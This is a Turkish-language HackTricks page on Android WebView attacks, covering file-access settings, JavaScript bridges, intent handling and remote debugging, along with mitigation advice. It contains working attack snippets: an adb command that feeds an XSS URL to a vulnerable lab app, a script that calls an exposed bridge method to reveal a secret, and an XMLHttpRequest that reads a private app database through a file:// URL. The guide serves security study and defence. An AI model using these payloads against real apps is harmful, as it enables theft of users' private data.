mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
155 lines
9.7 KiB
Markdown
155 lines
9.7 KiB
Markdown
# Webview Saldırıları
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## WebView Yapılandırmaları ve Güvenlik Rehberi
|
||
|
||
### WebView Açıklarının Genel Görünümü
|
||
|
||
Android geliştirmesinin kritik bir yönü, WebView'ların doğru bir şekilde yönetilmesidir. Bu rehber, WebView kullanımına ilişkin riskleri azaltmak için ana yapılandırmaları ve güvenlik uygulamalarını vurgulamaktadır.
|
||
|
||
![WebView Örneği](<../../.gitbook/assets/image (1190).png>)
|
||
|
||
### **WebView'larda Dosya Erişimi**
|
||
|
||
Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, Android API seviyesi 3 (Cupcake 1.5) itibarıyla mevcut olan `setAllowFileAccess()` metodu ile kontrol edilir. **android.permission.READ\_EXTERNAL\_STORAGE** iznine sahip uygulamalar, dış depolamadan dosyaları dosya URL şeması (`file://path/to/file`) kullanarak okuyabilir.
|
||
|
||
#### **Kaldırılan Özellikler: Evrensel ve URL'lerden Dosya Erişimi**
|
||
|
||
* **Dosya URL'lerinden Evrensel Erişim**: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümler için devre dışıdır (`false`).
|
||
* Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın.
|
||
* Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın.
|
||
* **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içerik erişimini kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı güvenliği artırmak için devre dışıdır.
|
||
* Kontrol etmek için `getAllowFileAccessFromFileURLs()` ve ayarlamak için `setAllowFileAccessFromFileURLs(boolean)` kullanın.
|
||
|
||
#### **Güvenli Dosya Yükleme**
|
||
|
||
Varlıklara ve kaynaklara erişirken dosya sistemi erişimini devre dışı bırakmak için `setAllowFileAccess()` metodu kullanılır. Android R ve üzeri sürümlerde varsayılan ayar `false`'dır.
|
||
|
||
* `getAllowFileAccess()` ile kontrol edin.
|
||
* `setAllowFileAccess(boolean)` ile etkinleştirin veya devre dışı bırakın.
|
||
|
||
#### **WebViewAssetLoader**
|
||
|
||
**WebViewAssetLoader** sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımdır. Yerel varlıklara ve kaynaklara erişmek için http(s) URL'leri kullanır ve Aynı-Köken politikası ile uyumlu olup CORS yönetimini kolaylaştırır.
|
||
|
||
### loadUrl
|
||
|
||
Bu, bir webview'de rastgele URL'leri yüklemek için kullanılan yaygın bir işlevdir:
|
||
```java
|
||
webview.loadUrl("<url here>")
|
||
```
|
||
Ofc, potansiyel bir saldırganın bir uygulamanın yükleyeceği **URL'yi** asla kontrol edememesi gerekir.
|
||
|
||
### **JavaScript ve Intent Şeması Yönetimi**
|
||
|
||
* **JavaScript**: WebView'larda varsayılan olarak devre dışı bırakılmıştır, `setJavaScriptEnabled()` ile etkinleştirilebilir. JavaScript'i uygun korumalar olmadan etkinleştirmenin güvenlik açıkları oluşturabileceği için dikkatli olunmalıdır.
|
||
* **Intent Şeması**: WebView'lar `intent` şemasını işleyebilir, dikkatli yönetilmezse istismar durumlarına yol açabilir. Bir örnek güvenlik açığı, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilecek "support\_url" adlı bir WebView parametresinin açığa çıkmasıyla ilgiliydi.
|
||
|
||
![Vulnerable WebView](<../../.gitbook/assets/image (1191).png>)
|
||
|
||
adb kullanarak istismar örneği:
|
||
|
||
{% code overflow="wrap" %}
|
||
```bash
|
||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||
```
|
||
{% endcode %}
|
||
|
||
### Javascript Köprüsü
|
||
|
||
Android, **JavaScript**'in bir WebView içinde **yerel Android uygulama fonksiyonlarını** çağırmasını sağlayan bir özellik sunar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden `addJavascriptInterface` yönteminin kullanılmasıyla gerçekleştirilir ve buna _WebView JavaScript köprüsü_ denir. Dikkatli olunması önerilir çünkü bu yöntem, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüz nesnesine erişmesine izin verir ve bu arayüzler aracılığıyla hassas bilgilerin ifşa edilmesi durumunda bir güvenlik riski oluşturur.
|
||
|
||
* **Aşırı dikkat gereklidir** çünkü 4.2'nin altındaki Android sürümlerini hedefleyen uygulamalar için kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme olanağı sağlayan bir zafiyet bulunmaktadır.
|
||
|
||
#### JavaScript Köprüsü Uygulaması
|
||
|
||
* **JavaScript arayüzleri**, bir sınıf yönteminin JavaScript'e açıldığı örneklerde gösterildiği gibi, yerel kodla etkileşimde bulunabilir:
|
||
```javascript
|
||
@JavascriptInterface
|
||
public String getSecret() {
|
||
return "SuperSecretPassword";
|
||
};
|
||
```
|
||
* JavaScript Köprüsü, WebView'a bir arayüz ekleyerek etkinleştirilir:
|
||
```javascript
|
||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||
webView.reload();
|
||
```
|
||
* JavaScript aracılığıyla potansiyel istismar, örneğin, bir XSS saldırısı yoluyla, açığa çıkarılmış Java yöntemlerinin çağrılmasını sağlar:
|
||
```html
|
||
<script>alert(javascriptBridge.getSecret());</script>
|
||
```
|
||
* Riskleri azaltmak için, **JavaScript köprü kullanımını** APK ile gönderilen kodla sınırlayın ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.
|
||
|
||
### Yansıma Tabanlı Uzaktan Kod Çalıştırma (RCE)
|
||
|
||
* Belirli bir yükü çalıştırarak RCE elde etmeyi sağlayan belgelenmiş bir yöntem vardır. Ancak, `@JavascriptInterface` notasyonu yetkisiz yöntem erişimini engelleyerek saldırı yüzeyini sınırlar.
|
||
|
||
### Uzaktan Hata Ayıklama
|
||
|
||
* **Uzaktan hata ayıklama**, **Chrome Geliştirici Araçları** ile mümkündür ve WebView içeriğinde etkileşim ve keyfi JavaScript çalıştırma imkanı sağlar.
|
||
|
||
#### Uzaktan Hata Ayıklamayı Etkinleştirme
|
||
|
||
* Uzaktan hata ayıklama, bir uygulama içindeki tüm WebView'lar için etkinleştirilebilir:
|
||
```java
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||
WebView.setWebContentsDebuggingEnabled(true);
|
||
}
|
||
```
|
||
* Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
|
||
```java
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||
}
|
||
```
|
||
## Rastgele dosyaları dışarı aktarma
|
||
|
||
* XMLHttpRequest kullanarak rastgele dosyaların dışarı aktarımını gösterir:
|
||
```javascript
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.onreadystatechange = function() {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
alert(xhr.responseText);
|
||
}
|
||
}
|
||
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
|
||
xhr.send(null);
|
||
```
|
||
## Referanslar
|
||
|
||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|